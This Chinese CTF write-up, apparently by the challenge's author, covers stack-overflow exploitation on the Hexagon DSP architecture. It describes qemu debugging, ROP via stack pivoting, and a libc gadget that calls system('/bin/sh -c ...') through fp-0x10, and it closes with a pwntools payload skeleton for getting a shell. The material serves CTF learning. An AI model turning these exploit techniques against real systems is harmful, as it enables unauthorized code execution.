『2025VNCTF』hexagon出题小记&&hexagon架构一种新的利用方式
字数 1462 2025-08-22 12:23:24
Hexagon架构PWN题利用技术详解
0x00 前言
本文详细讲解Hexagon架构下的PWN题利用技术,包括传统栈迁移方法和一种新型利用方式。Hexagon是高通开发的DSP处理器架构,在CTF中较为冷门,但其利用方式具有独特性。
0x01 环境搭建与调试
1. 运行环境配置
-
安装qemu-user:包含qemu-hexagon模拟器
sudo apt-get install qemu-user -
设置libc链接:
sudo ln -sf libc.so /lib/ld-musl-hexagon.so.1 -
运行程序:
qemu-hexagon ./main
2. 调试方法
Hexagon架构下GDB支持有限,推荐使用qemu自带的调试功能:
qemu-hexagon -L libc -d in_asm,exec,cpu,page,nochain -singlestep -dfilter 0x20420+0xc0 -strace -D ./log ./main
参数说明:
-d:开启调试输出(指令、执行、CPU状态、内存页等)-singlestep:单步执行-dfilter:过滤特定地址范围的调试输出-strace:记录系统调用-D:将调试输出写入文件
0x02 题目分析
题目是一个简单的栈溢出漏洞,特点:
- 使用musl libc
- 提供了运行日志(log),包含系统调用信息
- 栈空间有限(初始版本更小,后放宽)
0x03 传统利用方法:栈迁移
1. Hexagon架构特点
- 没有传统的
pop/push指令 - 寄存器控制需要通过栈操作间接完成
- 函数调用和返回机制与常见架构不同
2. 栈迁移利用步骤
- 泄露栈地址:通过log中的
read系统调用记录获取 - 构造ROP链:由于指令限制,需要精心设计
- 多次迁移:因栈空间有限,可能需要多次迁移完成利用
0x04 新型利用方法:libc中的特殊gadget
1. 发现过程
在libc.so中分析/bin/sh字符串的引用,发现system函数的特殊执行逻辑:
system("/bin/sh -c xxxx");
其中xxxx命令从fp-0x10处获取。
2. 利用条件
满足以下三点即可执行/bin/sh -c /bin/sh:
- 栈上写入
/bin/sh地址:如0x3FED19F7(假设libc基址为0x3FEC0000) - 控制fp寄存器:使
[fp-0x10]精确指向栈上的/bin/sh地址 - 劫持返回地址:指向libc中的特殊gadget(
libcbase + 0xBE7C0)
3. 优势
- 无需复杂栈迁移
- 只需控制少量关键数据
- 利用log信息可轻松获取所需地址
4. 利用步骤详解
-
获取地址信息:
- 从log中读取栈地址(通过
read系统调用记录) - 泄露libc基址(多种方法可用)
- 从log中读取栈地址(通过
-
构造利用数据:
- 计算
/bin/sh字符串在内存中的实际地址 - 计算fp值使
fp-0x10指向可控栈位置 - 准备gadget地址
- 计算
-
触发漏洞:
- 通过栈溢出覆盖返回地址
- 布置好fp和
/bin/sh地址
0x05 EXP编写要点
1. 地址计算
libc_base = 0x3FEC0000 # 实际需要通过泄露获取
bin_sh = libc_base + 0x119F7
system_gadget = libc_base + 0xBE7C0
2. 栈布局
+---------------------+
| ... |
+---------------------+
| /bin/sh address | <-- fp-0x10
+---------------------+
| controlled fp value |
+---------------------+
| system gadget | <-- return address
+---------------------+
| ... |
+---------------------+
3. 利用代码框架
from pwn import *
context.arch = 'hexagon'
# 获取地址
stack_addr = get_stack_from_log() # 解析log获取栈地址
libc_base = get_libc_base() # 通过泄露获取libc基址
# 计算关键地址
bin_sh = libc_base + 0x119F7
system_gadget = libc_base + 0xBE7C0
controlled_fp = stack_addr + offset # 计算使fp-0x10指向/bin/sh地址的fp值
# 构造payload
payload = flat([
b'A' * padding, # 填充到返回地址
system_gadget, # 覆盖返回地址
controlled_fp, # 控制的fp值
b'B' * (offset - 8), # 中间填充
bin_sh # /bin/sh地址放在fp-0x10处
])
# 发送payload
p.send(payload)
p.interactive()
0x06 扩展应用
这种利用方式不仅限于getshell,只要满足以下条件即可执行任意命令:
- 能够输入至少12字节(4*3)的任意数据
- 能够控制fp寄存器
- 能够劫持返回地址
应用场景:
- 有三次机会的任意地址写
- 有限溢出空间下的利用
- 需要绕过某些保护机制的情况
0x07 总结
Hexagon架构下的PWN题利用主要有两种方式:
-
传统栈迁移:
- 适用于所有情况但操作复杂
- 需要精心构造ROP链
- 在栈空间极小时尤为困难
-
新型libc gadget利用:
- 更简单直接
- 依赖特定libc结构
- 需要准确控制fp和返回地址
在实际比赛中,建议:
- 首先分析libc寻找可能存在的特殊gadget
- 根据题目限制条件选择合适的利用方式
- 充分利用题目提供的log等信息简化利用过程